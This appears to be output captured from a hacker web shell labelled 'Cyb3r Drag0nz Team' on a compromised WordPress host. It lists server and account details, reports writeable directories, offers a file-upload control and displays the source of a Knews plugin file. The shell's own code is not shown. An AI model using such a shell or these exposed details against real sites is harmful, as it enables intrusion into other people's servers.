Server :
Apache
System :
Linux webd003.cluster126.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User :
atwiofrxug (73666)
PHP Version :
8.4.10
Disable Functions :
_dyuweyrj4,_dyuweyrj4r,dl
Current Directory :
/home/atwiofrxug/mylittletelaviv/wp-content/plugins/knews/direct/
Directory Status:
Writeable | Document Root:
Writeable
Upload File
Viewing: /home/atwiofrxug/mylittletelaviv/wp-content/plugins/knews/direct/edit_news.php
<?php
if (!defined('KNEWS_ADMIN_URL')) define('KNEWS_ADMIN_URL', plugins_url() . '/knews');
global $Knews_plugin, $wpdb;
if ($Knews_plugin) {
if (! $Knews_plugin->initialized) $Knews_plugin->init();
$id_news = $Knews_plugin->get_safe('idnews', 0, 'int');
$query = "SELECT * FROM ".KNEWS_NEWSLETTERS." WHERE id=" . $id_news;
$results_news = $wpdb->get_results( $query );
if (count($results_news) == 0) {
?>
<h3><?php _e('Error: This newsletter does not exist','knews');?></h3>
<?php
} else {
$head_code=$results_news[0]->html_head;
echo substr($head_code, 0, strlen($head_code)-7);
?>
<script type="text/javascript" src="<?php echo KNEWS_ADMIN_URL; ?>/wysiwyg/editor.js?ver=<?php echo KNEWS_VERSION; ?>"></script>
<link href="<?php echo KNEWS_ADMIN_URL; ?>/wysiwyg/editor.css?ver=<?php echo KNEWS_VERSION; ?>" rel="stylesheet" type="text/css" />
</head>
<?php echo ($results_news[0]->html_bodytag != '' ? $results_news[0]->html_bodytag : '<body>'); ?>
<noscript>
<h1><?php _e('Warning! You should activate JavaScript to edit newsletters!','knews');?></h1>
</noscript>
<div class="wysiwyg_editor">
<?php echo $results_news[0]->html_mailing; ?>
</div>
<div id='modalDiv' style='display:none'></div>
<input id="paste" />
</body>
</html>
<?php
}
}
die();
?>
Cyb3r Drag0nz Team • Google Edition